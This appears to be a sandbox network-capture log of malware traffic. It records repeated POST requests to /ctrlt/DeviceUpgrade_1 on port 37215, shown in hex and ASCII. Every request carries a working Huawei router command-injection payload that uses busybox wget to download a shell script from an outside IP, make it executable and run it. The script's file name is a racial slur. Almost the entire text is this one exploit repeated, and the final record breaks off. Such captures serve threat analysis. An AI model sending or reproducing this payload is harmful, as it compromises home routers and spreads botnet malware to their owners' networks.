64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:23.564969063 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.744904041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	49578	45.207.185.93	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.441382885 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.016778946 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:57.872687101 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:01.551963091 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:08.975167990 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:23.820944071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:54.792787075 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data 